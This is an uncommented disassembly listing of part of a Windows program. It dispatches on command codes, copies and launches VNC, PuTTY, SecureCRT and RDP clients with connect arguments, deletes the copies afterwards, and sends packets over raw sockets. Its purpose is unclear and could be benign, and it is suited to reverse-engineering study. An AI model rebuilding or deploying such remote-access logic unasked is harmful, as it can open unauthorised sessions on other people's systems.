lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140001030
jmp 0x14000de47
lea rcx, str.127.0.0.1
mov word [rbp], si
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x8237
mov dword [rbp + 4], eax
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, sendto
lea rdx, [rbp]
mov rcx, rdi
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x14000d37b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.bind_failed_with_error:__ld_n
call fcn.140001030
mov rcx, rdi
jmp 0x14000de41
cmp edi, 0x50010009
je 0x14000db60
cmp edi, 0x50020009
je 0x14000da8c
cmp edi, 0x50030009
je 0x14000d9b0
cmp edi, 0x50040009
je 0x14000d8cd
cmp edi, 0x50050009
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
lea rcx, [0x140050070]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140050098]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x140091cd0]
mov rdi, 0xffffffffffffffff
mov ebx, eax
inc rdi
cmp word [rdx + rdi*2], r14w
jne 0x14000d841
inc edi
cmp edi, 0x3fffffff
jg 0x14000d894
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000d872
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov r9, r14
lea r8, str.C:JY_vncviewer.exe__connect__s_5900
mov edx, 0x100
lea rcx, [rbp + 0x570]
call fcn.140001920
lea rcx, [rbp + 0x570]
call fcn.14001b9a0
lea rcx, str.C:JY_vncviewer.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000d8f2
inc eax
movabs r15, 0xffffffffffffff0
cmp eax, 0x3fffffff
jle 0x14000d913
mov r12, r14
jmp 0x14000d94a
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000d928
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r12, rax
lea rsi, [0x140091ac0]
inc rdi
cmp word [rsi + rdi*2], bx
jne 0x14000d951
inc edi
cmp edi, 0x3fffffff
jg 0x14000d99f
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000d97a
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14002f1a0
sub rsp, rcx
mov r9d, 3
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov qword [rsp + 0x20], r12
lea r8, str._s__connect__s_3389
jmp 0x14000d069
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
lea rcx, [0x14004ffd8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x14004fff8]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x140091cd0]
mov rdi, 0xffffffffffffffff
mov ebx, eax
nop dword [rax + rax]
inc rdi
cmp word [rdx + rdi*2], r14w
jne 0x14000da00
inc edi
cmp edi, 0x3fffffff
jg 0x14000da53
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000da31
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov r9, r14
lea r8, str.C:JYputty.exe__connect__s_22
mov edx, 0x100
lea rcx, [rbp + 0x570]
call fcn.140001920
lea rcx, [rbp + 0x570]
call fcn.14001b9a0
lea rcx, str.C:JYputty.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
lea rcx, [0x14004ff38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x14004ff60]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x140091cd0]
mov rdi, 0xffffffffffffffff
mov ebx, eax
inc rdi
cmp word [rdx + rdi*2], r14w
jne 0x14000dad4
inc edi
cmp edi, 0x3fffffff
jg 0x14000db27
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000db05
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov r9, r14
lea r8, str.C:JY_securecrt.exe__connect__s_22
mov edx, 0x100
lea rcx, [rbp + 0x570]
call fcn.140001920
lea rcx, [rbp + 0x570]
call fcn.14001b9a0
lea rcx, str.C:JY_securecrt.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x100
call fcn.140013860
lea rcx, [0x14004fe18]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x14004fef8]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x140091cd0]
mov rdi, 0xffffffffffffffff
mov ebx, eax
nop dword [rax + rax]
inc rdi
cmp word [rdx + rdi*2], r14w
jne 0x14000dbb0
inc edi
cmp edi, 0x3fffffff
jg 0x14000dc03
movsxd rax, edi
lea r8d, [rdi + rdi]
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000dbe1
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov r9, r14
lea r8, str.C:JYmstsc.exe__connect__s_3389
mov edx, 0x100
lea rcx, [rbp + 0x570]
call fcn.140001920
lea rcx, [rbp + 0x570]
call fcn.14001b9a0
lea rcx, str.C:JYmstsc.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x5001000a
jne case.default.0x14000d0ae
mov rdi, 0xffffffffffffffff
lea rdx, [0x140091cd0]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rdx + rax*2], bx
jne 0x14000dc60
inc eax
cmp eax, 0x3fffffff
jg 0x14000dcb0
lea r8d, [rax + rax]
cdqe
add rax, rax
lea r15, [rax + 0xf]
cmp r15, rax
ja 0x14000dc8e
movabs r15, 0xffffffffffffff0
and r15, 0xfffffffffffffff0
mov rax, r15
call fcn.14002f1a0
sub rsp, r15
mov r9d, 3
lea rcx, [rsp + 0x70]
call fcn.140001b70
mov r14, rax
mov rdx, r14
lea rcx, [rbp + 0x280]
call fcn.1400100b0
lea rdx, str.morethan6bytes
lea rcx, [rbp + 0x2f0]
call fcn.1400100c0
lea rax, [rbp + 0x2f0]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x14000dce0
mov esi, 2
lea rdx, [rbp + 0x570]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rsi - 1]
mov ecx, esi
lea r8d, [rsi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14000dd32
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Error_nCall_to_socket_AF_INET__SOCK_STREAM__IPPROTO_TCP___failed_with:_n_d_n
call fcn.140001820
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov ecx, 0x50
mov word [rbp], si
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rbp + 0x280]
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rbp + 0x280]
mov dword [rbp + 4], eax
lea rcx, str.szAddr_:__s_n
call fcn.140001820
cmp dword [rbp + 4], 0xffffffff
jne 0x14000ddca
lea rcx, str.Resolving_host...
call fcn.140001820
lea rcx, [rbp + 0x280]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14000dda9
lea rdx, [rbp + 0x280]
lea rcx, str.Error_nUnknown_host:__s_n
call fcn.140001820
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov rdx, qword [rax + 0x18]
lea rcx, [rbp + 4]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call fcn.140013a50
lea rcx, [0x14003a304]
call fcn.140001820
mov r8d, sendto
lea rdx, [rbp]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000ddf0
lea rcx, str.Connect_FAIL_
call fcn.140001820
jmp case.default.0x14000d0ae
lea rcx, str.Sending_packet...
call fcn.140001820
lea rax, [rbp]
mov dword [rsp + 0x28], SafeArrayAccessData
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, edi
lea rdx, [rbp + 0x2f0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x14000de3e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Error_nCall_to_sendto_s__szMessage__iMessageLen__0___SOCKADDR_IN___addr__sizeof_addr____failed_with:_n_d_n
call fcn.140001820
jmp case.default.0x14000d0ae
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
mov rcx, qword [rbp + 0xb90]
xor rcx, rbp
call fcn.140011970
mov rbx, qword [rbp + 0xbe0]
mov rsi, qword [rbp + 0xbe8]
lea rsp, [rbp + 0xba0]
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [0x14004f950]
call fcn.140001820
mov ecx, 1
call fcn.14001a674
int3